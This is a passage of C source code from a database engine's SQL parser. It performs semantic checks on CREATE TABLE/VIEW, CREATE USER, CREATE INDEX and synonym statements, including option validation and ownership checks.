else if ((stmt->node_type == PT_ALTER) && (stmt->info.alter.code == PT_RESET_QUERY))
{
if (stmt->info.alter.entity_type != PT_VCLASS || stmt->info.alter.entity_name == NULL)
{
return;
}
}
else
{
return;
}
if (stmt->node_type == PT_CREATE_ENTITY)
{
name = stmt->info.create_entity.entity_name->info.name.original;
qry_specs_ptr = &stmt->info.create_entity.as_query_list;
attr_def_list_ptr = &stmt->info.create_entity.attr_def_list;
}
else
{
assert ((stmt->node_type == PT_ALTER) && (stmt->info.alter.code == PT_RESET_QUERY));
name = stmt->info.alter.entity_name->info.name.original;
qry_specs_ptr = &stmt->info.alter.alter_clause.query.query;
attr_def_list_ptr = &stmt->info.alter.alter_clause.query.attr_def_list;
}
if (*qry_specs_ptr == NULL || pt_has_error (parser))
{
return;
}
prev_qry = NULL;
for (crt_qry = *qry_specs_ptr, prev_qry_link_ptr = qry_specs_ptr; crt_qry != NULL;
prev_qry_link_ptr = &crt_qry->next, crt_qry = crt_qry->next)
{
PT_NODE *const save_next = crt_qry->next;
crt_qry->next = NULL;
/* TODO This seems to flag too many queries as view specs because it also traverses the tree to subqueries. It
* might need a pre_function that returns PT_STOP_WALK for subqueries. */
do_not_replace_orderby = true;
result_stmt =
parser_walk_tree (parser, crt_qry, pt_set_is_view_spec, (void *) &do_not_replace_orderby, NULL, NULL);
if (result_stmt == NULL)
{
assert (false);
PT_ERRORm (parser, stmt, MSGCAT_SET_ERROR, -(ER_GENERIC_ERROR));
return;
}
crt_qry = result_stmt;
result_stmt = pt_semantic_check (parser, crt_qry);
if (pt_has_error (parser))
{
if (prev_qry)
{
prev_qry->next = save_next;
}
crt_qry = NULL;
(*prev_qry_link_ptr) = crt_qry;
return;
}
if (result_stmt == NULL)
{
assert (false);
PT_ERRORm (parser, stmt, MSGCAT_SET_ERROR, -(ER_GENERIC_ERROR));
return;
}
if (pt_has_parameters (parser, result_stmt))
{
PT_ERRORmf (parser, crt_qry, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_VARIABLE_NOT_ALLOWED, 0);
return;
}
crt_qry = result_stmt;
crt_qry->next = save_next;
(*prev_qry_link_ptr) = crt_qry;
prev_qry = crt_qry;
}
attr_count = pt_number_of_attributes (parser, stmt, &all_attrs);
/* if no attributes are given, try to derive them from the query_spec columns. */
if (attr_count <= 0)
{
PT_NODE *crt_attr = NULL;
PT_NODE *const qspec_attr = pt_get_select_list (parser, *qry_specs_ptr);
assert (attr_count == 0);
assert (*attr_def_list_ptr == NULL);
for (crt_attr = qspec_attr; crt_attr != NULL; crt_attr = crt_attr->next)
{
PT_NODE *s_attr = NULL;
if (crt_attr->alias_print)
{
s_attr = crt_attr;
}
else
{
/* allow attributes to be derived only from path expressions. */
s_attr = pt_get_end_path_node (crt_attr);
if (s_attr->node_type != PT_NAME)
{
s_attr = NULL;
}
}
if (s_attr == NULL)
{
PT_ERRORmf (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_MISSING_ATTR_NAME,
pt_short_print (parser, crt_attr));
return;
}
else if (s_attr->node_type == PT_HOST_VAR)
{
PT_ERRORm (parser, s_attr, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_HOSTVAR_NOT_ALLOWED_ON_QUERY_SPEC);
return;
}
else if (s_attr->node_type == PT_VALUE && s_attr->type_enum == PT_TYPE_NULL)
{
PT_ERRORm (parser, s_attr, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NULL_NOT_ALLOWED_ON_QUERY_SPEC);
return;
}
derived_attr = pt_derive_attribute (parser, s_attr);
if (derived_attr == NULL)
{
PT_ERRORm (parser, stmt, MSGCAT_SET_ERROR, -(ER_GENERIC_ERROR));
return;
}
*attr_def_list_ptr = parser_append_node (derived_attr, *attr_def_list_ptr);
}
attr_count = pt_number_of_attributes (parser, stmt, &all_attrs);
}
assert (attr_count >= 0);
/* do other checks on query specs */
for (crt_qry = *qry_specs_ptr, prev_qry_link_ptr = qry_specs_ptr; crt_qry != NULL;
prev_qry_link_ptr = &crt_qry->next, crt_qry = crt_qry->next)
{
PT_NODE *const save_next = crt_qry->next;
crt_qry->next = NULL;
result_stmt = pt_check_vclass_query_spec (parser, crt_qry, all_attrs, name, false);
if (pt_has_error (parser))
{
return;
}
if (result_stmt == NULL)
{
PT_ERRORm (parser, stmt, MSGCAT_SET_ERROR, -(ER_GENERIC_ERROR));
return;
}
crt_qry = result_stmt;
all_attrs = pt_check_default_vclass_query_spec (parser, crt_qry, all_attrs);
if (pt_has_error (parser))
{
return;
}
if (all_attrs == NULL)
{
PT_ERRORm (parser, stmt, MSGCAT_SET_ERROR, -(ER_GENERIC_ERROR));
return;
}
result_stmt = pt_type_cast_vclass_query_spec (parser, crt_qry, all_attrs);
if (pt_has_error (parser))
{
return;
}
if (result_stmt == NULL)
{
assert (false);
PT_ERRORm (parser, stmt, MSGCAT_SET_ERROR, -(ER_GENERIC_ERROR));
return;
}
crt_qry = result_stmt;
crt_qry->next = save_next;
(*prev_qry_link_ptr) = crt_qry;
}
}
/*
* pt_check_create_user () - semantic check a create user statement
* return : none
* parser(in) : the parser context
* node(in) : create user node
*/
static void
pt_check_create_user (PARSER_CONTEXT * parser, PT_NODE * node)
{
PT_NODE *user_name;
const char *name;
int name_upper_size;
if (!node)
{
return;
}
if (node->node_type != PT_CREATE_USER)
{
return;
}
user_name = node->info.create_user.user_name;
if (user_name->node_type != PT_NAME)
{
return;
}
name = user_name->info.name.original;
if (name == NULL)
{
return;
}
name_upper_size = intl_identifier_upper_string_size (name);
if (name_upper_size >= DB_MAX_USER_LENGTH)
{
PT_ERRORm (parser, user_name, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_USER_NAME_TOO_LONG);
}
}
/*
* pt_check_create_entity () - semantic check a create class/vclass
* return: none
* parser(in): the parser context used to derive the statement
* node(in): a create statement
*/
static void
pt_check_create_entity (PARSER_CONTEXT * parser, PT_NODE * node)
{
PT_NODE *parent, *qry_specs, *name, *create_like;
PT_NODE *all_attrs, *r, *resolv_class, *attr;
PT_NODE *tbl_opt_charset, *cs_node, *tbl_opt_coll, *coll_node;
PT_NODE *tbl_opt = NULL;
PT_MISC_TYPE entity_type;
DB_OBJECT *db_obj, *existing_entity;
DB_OBJECT *owner = NULL;
const char *owner_name = NULL;
int found, partition_status = DB_NOT_PARTITIONED_CLASS;
int collation_id, charset;
bool found_reuse_oid_option = false, reuse_oid = false;
bool found_auto_increment = false;
bool found_tbl_comment = false;
bool found_tbl_encrypt = false;
int error = NO_ERROR;
entity_type = node->info.create_entity.entity_type;
if (entity_type != PT_CLASS && entity_type != PT_VCLASS)
{
/* control should never reach here if tree is well-formed */
assert (false);
return;
}
tbl_opt_charset = tbl_opt_coll = NULL;
for (tbl_opt = node->info.create_entity.table_option_list; tbl_opt != NULL; tbl_opt = tbl_opt->next)
{
assert (tbl_opt->node_type == PT_TABLE_OPTION);
switch (tbl_opt->info.table_option.option)
{
case PT_TABLE_OPTION_REUSE_OID:
{
if (found_reuse_oid_option)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_DUPLICATE_TABLE_OPTION,
parser_print_tree (parser, tbl_opt));
return;
}
else
{
found_reuse_oid_option = true;
reuse_oid = true;
}
}
break;
case PT_TABLE_OPTION_DONT_REUSE_OID:
{
if (found_reuse_oid_option)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_DUPLICATE_TABLE_OPTION,
parser_print_tree (parser, tbl_opt));
return;
}
else
{
found_reuse_oid_option = true;
reuse_oid = false;
}
}
break;
case PT_TABLE_OPTION_AUTO_INCREMENT:
{
if (found_auto_increment)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_DUPLICATE_TABLE_OPTION,
parser_print_tree (parser, tbl_opt));
return;
}
else
{
if (tbl_opt->info.table_option.val != NULL)
{
found_auto_increment = true;
assert (tbl_opt->info.table_option.val->node_type == PT_VALUE);
assert (tbl_opt->info.table_option.val->type_enum == PT_TYPE_NUMERIC);
}
}
}
break;
case PT_TABLE_OPTION_CHARSET:
{
if (tbl_opt_charset != NULL)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_DUPLICATE_TABLE_OPTION,
parser_print_tree (parser, tbl_opt));
return;
}
else
{
tbl_opt_charset = tbl_opt;
}
}
break;
case PT_TABLE_OPTION_COLLATION:
{
if (tbl_opt_coll != NULL)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_DUPLICATE_TABLE_OPTION,
parser_print_tree (parser, tbl_opt));
return;
}
else
{
tbl_opt_coll = tbl_opt;
}
}
break;
case PT_TABLE_OPTION_COMMENT:
{
if (found_tbl_comment)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_DUPLICATE_TABLE_OPTION,
parser_print_tree (parser, tbl_opt));
return;
}
else
{
found_tbl_comment = true;
}
}
break;
case PT_TABLE_OPTION_ENCRYPT:
{
if (found_tbl_encrypt)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_DUPLICATE_TABLE_OPTION,
parser_print_tree (parser, tbl_opt));
return;
}
else
{
found_tbl_encrypt = true;
}
}
break;
default:
/* should never arrive here */
assert (false);
break;
}
}
/* get default value of reuse_oid from system parameter and create pt_node and add it into table_option_list, if don't use table option related reuse_oid */
if (!found_reuse_oid_option && entity_type == PT_CLASS)
{
PT_NODE *tmp;
reuse_oid = prm_get_bool_value (PRM_ID_TB_DEFAULT_REUSE_OID);
tmp = pt_table_option (parser, reuse_oid ? PT_TABLE_OPTION_REUSE_OID : PT_TABLE_OPTION_DONT_REUSE_OID, NULL);
if (tmp)
{
tmp->next = node->info.create_entity.table_option_list;
node->info.create_entity.table_option_list = tmp;
}
}
/* validate charset and collation options, if any */
cs_node = (tbl_opt_charset) ? tbl_opt_charset->info.table_option.val : NULL;
coll_node = (tbl_opt_coll) ? tbl_opt_coll->info.table_option.val : NULL;
charset = LANG_SYS_CODESET;
collation_id = LANG_SYS_COLLATION;
if ((cs_node != NULL || coll_node != NULL)
&& pt_check_grammar_charset_collation (parser, cs_node, coll_node, &charset, &collation_id) != NO_ERROR)
{
return;
}
name = node->info.create_entity.entity_name;
owner_name = pt_get_qualifier_name (parser, name);
if (owner_name)
{
owner = db_find_user (owner_name);
if (owner == NULL)
{
ASSERT_ERROR_AND_SET (error);
if (er_errid () == ER_AU_INVALID_USER)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_USER_IS_NOT_IN_DB, owner_name);
}
return;
}
if (!ws_is_same_object (owner, Au_user) && !au_is_dba_group_member (Au_user))
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CREATE_TABLE_VIEW_NOT_OWNER);
return;
}
}
else
{
/* In system class names, owner name can be NULL. Otherwise, owner name must not be NULL. */
assert (au_is_dba_group_member (Au_user));
assert (sm_check_system_class_by_name (PT_NAME_ORIGINAL (name)));
}
/* We cannot use an existing synonym name as a class name. */
if (db_find_synonym (name->info.name.original) != NULL)
{
PT_ERRORmf (parser, name, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CLASS_EXISTS, name->info.name.original);
return;
}
else
{
/* db_find_synonym () == NULL */
ASSERT_ERROR ();
if (er_errid () == ER_SYNONYM_NOT_EXIST)
{
er_clear ();
}
else
{
return;
}
}
/* check name doesn't already exist as a class */
existing_entity = pt_find_class (parser, name, false);
if (existing_entity != NULL)
{
if (!(entity_type == PT_VCLASS && node->info.create_entity.or_replace == 1 && db_is_vclass (existing_entity) > 0)
/* If user sets "IF NOT EXISTS", do not throw ERROR if TABLE or VIEW with the same name exists, to stay
* compatible with MySQL. */
&& !(entity_type == PT_CLASS && node->info.create_entity.if_not_exists == 1))
{
PT_ERRORmf (parser, name, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CLASS_EXISTS, name->info.name.original);
return;
}
}
else
{
if (er_errid () == ER_LC_UNKNOWN_CLASSNAME && er_get_severity () == ER_WARNING_SEVERITY)
{
/* Because the class is still inexistent, normally, here we will have to encounter some errors/warnings like
* ER_LC_UNKNOWN_CLASSNAME which is unuseful for current context indeed and may disturb other subsequent
* routines. Thus, we can/should clear the errors safely. */
er_clear ();
}
}
pt_check_user_exists (parser, name);
/* check uniqueness of non-inherited attribute names */
all_attrs = node->info.create_entity.attr_def_list;
pt_check_unique_attr (parser, name->info.name.original, all_attrs, PT_ATTR_DEF);
if (entity_type == PT_CLASS)
{
/* for regular classes (no views) set default collation if needed */
for (attr = node->info.create_entity.attr_def_list; attr; attr = attr->next)
{
if (attr->node_type == PT_ATTR_DEF && PT_HAS_COLLATION (attr->type_enum))
{
if (pt_attr_check_default_cs_coll (parser, attr, charset, collation_id) != NO_ERROR)
{
return;
}
}
}
}
/* enforce composition hierarchy restrictions on attr type defs */
pt_check_attribute_domain (parser, all_attrs, entity_type, name->info.name.original, reuse_oid, node);
/* check that any and all super classes do exist */
for (parent = node->info.create_entity.supclass_list; parent != NULL; parent = parent->next)
{
db_obj = pt_find_class (parser, parent, false);
if (db_obj != NULL)
{
parent->info.name.db_object = db_obj;
error = sm_partitioned_class_type (db_obj, &partition_status, NULL, NULL);
if (error != NO_ERROR)
{
PT_ERROR (parser, node, er_msg ());
break;
}
if (partition_status == DB_PARTITION_CLASS)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_RUNTIME, MSGCAT_RUNTIME_NOT_ALLOWED_ACCESS_TO_PARTITION,
parent->info.name.original);
break;
}
pt_check_user_owns_class (parser, parent);
#if defined (ENABLE_UNUSED_FUNCTION) /* to disable TEXT */
if (sm_has_text_domain (db_get_attributes (db_obj), 1))
{
/* prevent to define it as a superclass */
er_set (ER_WARNING_SEVERITY, ARG_FILE_LINE, ER_REGU_NOT_IMPLEMENTED, 1, rel_major_release_string ());
PT_ERROR (parser, node, er_msg ());
break;
}
#endif /* ENABLE_UNUSED_FUNCTION */
}
else
{
PT_ERRORmf2 (parser, parent, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NONEXISTENT_SUPCLASS,
parent->info.name.original, pt_short_print (parser, node));
return;
}
}
if (error != NO_ERROR)
{
return;
}
/* an INHERIT_clause in a create_vclass_stmt without a SUBCLASS_clause is not meaningful. */
if (node->info.create_entity.resolution_list && !node->info.create_entity.supclass_list)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_WANT_SUBCLASS_CLAUSE,
pt_short_print_l (parser, node->info.create_entity.resolution_list));
return;
}
else
{
/* the INHERIT_clause can only reference classes that are in the SUBCLASS_clause. */
for (r = node->info.create_entity.resolution_list; r; r = r->next)
{
resolv_class = r->info.resolution.of_sup_class_name;
found = 0;
for (parent = node->info.create_entity.supclass_list; parent && !found; parent = parent->next)
{
found = !pt_user_specified_name_compare (resolv_class->info.name.original, parent->info.name.original);
}
if (!found)
{
PT_ERRORmf2 (parser, resolv_class, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NOT_IN_SUBCLASS_LIST,
parser_print_tree (parser, r), pt_short_print_l (parser,
node->info.create_entity.supclass_list));
return;
}
}
}
if (entity_type == PT_VCLASS)
{
/* The grammar restricts table options to CREATE CLASS / TABLE */
assert (node->info.create_entity.table_option_list == NULL);
for (attr = all_attrs; attr; attr = attr->next)
{
if (attr->info.attr_def.auto_increment != NULL)
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_VCLASS_ATT_CANT_BE_AUTOINC);
return;
}
}
}
qry_specs = node->info.create_entity.as_query_list;
if (node->info.create_entity.entity_type == PT_CLASS)
{
PT_NODE *select = node->info.create_entity.create_select;
PT_NODE *crt_attr = NULL;
PT_NODE *const qspec_attr = pt_get_select_list (parser, select);
/* simple CLASSes must not have any query specs */
if (qry_specs)
{
PT_ERRORm (parser, qry_specs, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CLASS_NO_QUERY_SPEC);
return;
}
/* user variables are not allowed in select list for CREATE ... AS SELECT ... */
if (select != NULL)
{
for (crt_attr = qspec_attr; crt_attr != NULL; crt_attr = crt_attr->next)
{
if (crt_attr->alias_print == NULL && crt_attr->node_type != PT_NAME && crt_attr->node_type != PT_DOT_)
{
PT_ERRORmf (parser, qry_specs, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_MISSING_ATTR_NAME,
pt_short_print (parser, crt_attr));
return;
}
}
if (select->info.query.with != NULL)
{
// run semantic check only for CREATE ... AS WITH ...
if ((crt_attr = pt_check_with_clause (parser, select)) != NULL)
{
/* no alias for CTE select list */
PT_ERRORmf (parser, qry_specs, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_MISSING_ATTR_NAME,
pt_short_print (parser, crt_attr));
return;
}
select = pt_semantic_check (parser, select);
}
if (pt_has_parameters (parser, select))
{
PT_ERRORmf (parser, select, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_VARIABLE_NOT_ALLOWED, 0);
return;
}
}
if (!pt_has_error (parser) && node->info.create_entity.partition_info)
{
pt_check_partitions (parser, node, NULL);
}
}
else /* must be a CREATE VCLASS statement */
{
pt_check_create_view (parser, node);
}
/* check that all constraints look valid */
if (!pt_has_error (parser))
{
(void) pt_check_constraints (parser, node);
}
/*
* check the auto_increment table option, AND REWRITE IT as
* a constraint for the (single) AUTO_INCREMENT column.
*/
if (found_auto_increment)
{
(void) pt_check_auto_increment_table_option (parser, node);
}
create_like = node->info.create_entity.create_like;
if (create_like != NULL)
{
assert (entity_type == PT_CLASS);
db_obj = pt_find_class (parser, create_like, false);
if (db_obj == NULL)
{
PT_ERRORmf (parser, create_like, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CLASS_DOES_NOT_EXIST,
create_like->info.name.original);
return;
}
else
{
create_like->info.name.db_object = db_obj;
pt_check_user_owns_class (parser, create_like);
if (db_is_class (db_obj) <= 0)
{
PT_ERRORmf2 (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_IS_NOT_A,
create_like->info.name.original, pt_show_misc_type (PT_CLASS));
return;
}
}
}
for (attr = node->info.create_entity.attr_def_list; attr; attr = attr->next)
{
attr->info.attr_def.data_default = pt_check_data_default (parser, attr->info.attr_def.data_default);
}
}
/*
* pt_check_create_index () - semantic check a create index
* return: none
* parser(in): the parser context used to derive the statement
* node(in): a create index statement
*/
static void
pt_check_create_index (PARSER_CONTEXT * parser, PT_NODE * node)
{
PT_NODE *name, *prefix_length, *col, *col_expr;
DB_OBJECT *db_obj;
int is_partition = DB_NOT_PARTITIONED_CLASS;
/* check that there trying to create an index on a class */
name = node->info.index.indexed_class->info.spec.entity_name;
/* We cannot create index of a class by using synonym names. */
if (db_find_synonym (name->info.name.original) != NULL)
{
PT_ERRORmf (parser, name, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_IS_NOT_A_CLASS, name->info.name.original);
return;
}
else
{
/* db_find_synonym () == NULL */
ASSERT_ERROR ();
if (er_errid () == ER_SYNONYM_NOT_EXIST)
{
er_clear ();
}
else
{
return;
}
}
db_obj = db_find_class (name->info.name.original);
if (db_obj == NULL)
{
PT_ERRORmf (parser, name, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_IS_NOT_A_CLASS, name->info.name.original);
return;
}
else
{
/* make sure it's not a virtual class */
if (db_is_class (db_obj) <= 0)
{
PT_ERRORm (parser, name, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NO_INDEX_ON_VCLASS);
return;
}
/* check if this is a partition class */
if (sm_partitioned_class_type (db_obj, &is_partition, NULL, NULL) != NO_ERROR)
{
PT_ERROR (parser, node, er_msg ());
return;
}
if (is_partition == DB_PARTITION_CLASS)
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_PARTITION_REQUEST);
return;
}
/* Check if the columns are valid. We only allow expressions and attribute names. The actual expressions will be
* validated later, we're only interested in the node type */
for (col = node->info.index.column_names; col != NULL; col = col->next)
{
if (col->node_type != PT_SORT_SPEC)
{
assert_release (col->node_type == PT_SORT_SPEC);
return;
}
col_expr = col->info.sort_spec.expr;
if (col_expr == NULL)
{
continue;
}
if (col_expr->node_type == PT_NAME)
{
/* make sure this is not a parameter */
if (col_expr->info.name.meta_class != PT_NORMAL)
{
PT_ERRORmf (parser, col_expr, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_INDEX_COLUMN,
pt_short_print (parser, col_expr));
return;
}
}
else if (col_expr->node_type != PT_EXPR)
{
PT_ERRORmf (parser, col_expr, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_INDEX_COLUMN,
pt_short_print (parser, col_expr));
return;
}
}
/* make sure we don't mix up index types */
pt_check_function_index_expr (parser, node);
if (pt_has_error (parser))
{
return;
}
if (node->info.index.function_expr)
{
if (node->info.index.prefix_length || node->info.index.where)
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_CREATE_INDEX);
}
return;
}
name->info.name.db_object = db_obj;
/* check that there is only one column to index on */
pt_check_unique_attr (parser, NULL, node->info.index.column_names, PT_SORT_SPEC);
if (pt_has_error (parser))
{
return;
}
pt_check_user_owns_class (parser, name);
if (pt_has_error (parser))
{
return;
}
prefix_length = node->info.index.prefix_length;
if (prefix_length)
{
PT_NODE *index_column;
if (prefix_length->type_enum != PT_TYPE_INTEGER || prefix_length->info.value.data_value.i == 0)
{
/*
* Parser can read PT_TYPE_BIGINT or PT_TYPE_NUMERIC values
* but domain precision is defined as integer.
* So, we accept only non-zero values of PT_TYPE_INTEGER.
*/
PT_ERRORmf (parser, name, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_PREFIX_LENGTH,
prefix_length->info.value.text);
return;
}
assert (node->info.index.column_names != NULL);
/* check if prefix index is allowed for this type of column */
for (index_column = node->info.index.column_names; index_column != NULL; index_column = index_column->next)
{
PT_NODE *col_dt;
if (index_column->node_type != PT_SORT_SPEC || index_column->info.sort_spec.expr == NULL
|| index_column->info.sort_spec.expr->node_type != PT_NAME)
{
continue;
}
col_dt = index_column->info.sort_spec.expr->data_type;
if (col_dt != NULL && PT_HAS_COLLATION (col_dt->type_enum))
{
LANG_COLLATION *lc;
lc = lang_get_collation (col_dt->info.data_type.collation_id);
assert (lc != NULL);
if (!(lc->options.allow_prefix_index))
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_PREFIX_LENGTH_COLLATION,
index_column->info.sort_spec.expr->info.name.original);
return;
}
}
}
}
}
/* if this is a filter index, check that the filter is a valid filter expression. */
pt_check_filter_index_expr (parser, node->info.index.column_names, node->info.index.where, db_obj);
}
static void
pt_check_alter_synonym (PARSER_CONTEXT * parser, PT_NODE * node)
{
DB_OBJECT *synonym_obj = NULL;
DB_OBJECT *owner_obj = NULL;
const char *name = NULL;
const char *owner_name = NULL;
if (parser == NULL || node == NULL)
{
return;
}
assert (node->node_type == PT_ALTER_SYNONYM);
/* syntax is not supported. */
assert (PT_SYNONYM_ACCESS_MODIFIER (node) != PT_PUBLIC);
/* synonym_name */
name = PT_NAME_ORIGINAL (PT_SYNONYM_NAME (node));
assert (name != NULL && *name != '\0');
if (sm_check_system_class_by_name (name) == true)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SYNONYM_INVALID_NAME, name);
return;
}
/* synonym_owner_name */
owner_name = PT_NAME_ORIGINAL (PT_SYNONYM_OWNER_NAME (node));
assert (owner_name != NULL && *owner_name != '\0');
owner_obj = db_find_user (owner_name);
if (owner_obj == NULL)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_USER_IS_NOT_IN_DB, owner_name);
return;
}
if (ws_is_same_object (owner_obj, Au_user) == false && au_is_dba_group_member (Au_user) == false)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SYNONYM_NOT_OWNER, "ALTER SYNONYM");
return;
}
/* Check if a synonym exists. */
synonym_obj = db_find_synonym (name);
if (synonym_obj == NULL)
{
ASSERT_ERROR ();
if (er_errid () == ER_SYNONYM_NOT_EXIST)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SYNONYM_NOT_EXIST, name);
}
return;
}
/* synonym_obj != NULL */
if (PT_SYNONYM_TARGET_NAME (node) == NULL)
{
/* If only the comment is changed, PT_SYNONYM_TARGET_NAME (node) can be NULL.
* If both PT_SYNONYM_TARGET_NAME (node) and PT_SYNONYM_COMMENT (node) are NULL,
* an error occurred in yyparse() and it should not have come here. */
assert (PT_SYNONYM_COMMENT (node) != NULL);
}
else
{
/* PT_SYNONYM_TARGET_NAME (node) != NULL */
/* target_owner_name */
if (!PT_SYNONYM_IS_DBLINKED (node))
{
owner_name = PT_NAME_ORIGINAL (PT_SYNONYM_TARGET_OWNER_NAME (node));
assert (owner_name != NULL && *owner_name != '\0');
owner_obj = db_find_user (owner_name);
if (owner_obj == NULL)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_USER_IS_NOT_IN_DB, owner_name);
return;
}
}
}
}
static void
pt_check_create_synonym (PARSER_CONTEXT * parser, PT_NODE * node)
{
DB_OBJECT *synonym_obj = NULL;
DB_OBJECT *owner_obj = NULL;
const char *name = NULL;
const char *owner_name = NULL;
if (parser == NULL || node == NULL)
{
return;
}
assert (node->node_type == PT_CREATE_SYNONYM);
/* syntax is not supported. */
assert (PT_SYNONYM_ACCESS_MODIFIER (node) != PT_PUBLIC);
/* synonym_name */
name = PT_NAME_ORIGINAL (PT_SYNONYM_NAME (node));
assert (name != NULL && *name != '\0');
if (sm_check_system_class_by_name (name) == true)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SYNONYM_INVALID_NAME, name);
return;
}
/* synonym_owner_name */
owner_name = PT_NAME_ORIGINAL (PT_SYNONYM_OWNER_NAME (node));
assert (owner_name != NULL && *owner_name != '\0');
owner_obj = db_find_user (owner_name);
if (owner_obj == NULL)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_USER_IS_NOT_IN_DB, owner_name);
return;
}
if (ws_is_same_object (owner_obj, Au_user) == false && au_is_dba_group_member (Au_user) == false)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SYNONYM_NOT_OWNER, "CREATE SYNONYM");
return;
}
/* or_replace */
synonym_obj = db_find_synonym (name);
if (synonym_obj != NULL)
{
if (PT_SYNONYM_OR_REPLACE (node) == FALSE)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SYNONYM_ALREADY_EXIST, name);
return;
}
}
else
{
/* synonym_obj == NULL */
ASSERT_ERROR ();
if (er_errid () == ER_SYNONYM_NOT_EXIST)
{
er_clear ();
}
else
{
return;
}
/* Check if class exists by name. */
if (db_find_class (name) != NULL)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CLASS_EXISTS, name);
return;
}
else
{
/* db_find_class () == NULL */
ASSERT_ERROR ();
if (er_errid () == ER_LC_UNKNOWN_CLASSNAME)
{
er_clear ();
}
else
{
return;
}
}
}
/* (synonym_obj != NULL && PT_SYNONYM_OR_REPLACE () == TRUE)
* || (synonym_obj == NULL && db_find_class () == NULL && er_errid () == ER_LC_UNKNOWN_CLASSNAME) */
/* target_owner_name */
if (!PT_SYNONYM_IS_DBLINKED (node))
{
owner_name = PT_NAME_ORIGINAL (PT_SYNONYM_TARGET_OWNER_NAME (node));
assert (owner_name != NULL && *owner_name != '\0');
owner_obj = db_find_user (owner_name);
if (owner_obj == NULL)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_USER_IS_NOT_IN_DB, owner_name);
return;
}
}
}
static void
pt_check_drop_synonym (PARSER_CONTEXT * parser, PT_NODE * node)
{
DB_OBJECT *synonym_obj = NULL;
DB_OBJECT *owner_obj = NULL;
const char *name = NULL;
const char *owner_name = NULL;
if (parser == NULL || node == NULL)
{
return;
}
assert (node->node_type == PT_DROP_SYNONYM);
/* syntax is not supported. */
assert (PT_SYNONYM_ACCESS_MODIFIER (node) != PT_PUBLIC);
/* synonym_name */
name = PT_NAME_ORIGINAL (PT_SYNONYM_NAME (node));
assert (name != NULL && *name != '\0');
if (sm_check_system_class_by_name (name) == true)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SYNONYM_INVALID_NAME, name);
return;
}
/* synonym_owner_name */
owner_name = PT_NAME_ORIGINAL (PT_SYNONYM_OWNER_NAME (node));
assert (owner_name != NULL && *owner_name != '\0');
owner_obj = db_find_user (owner_name);
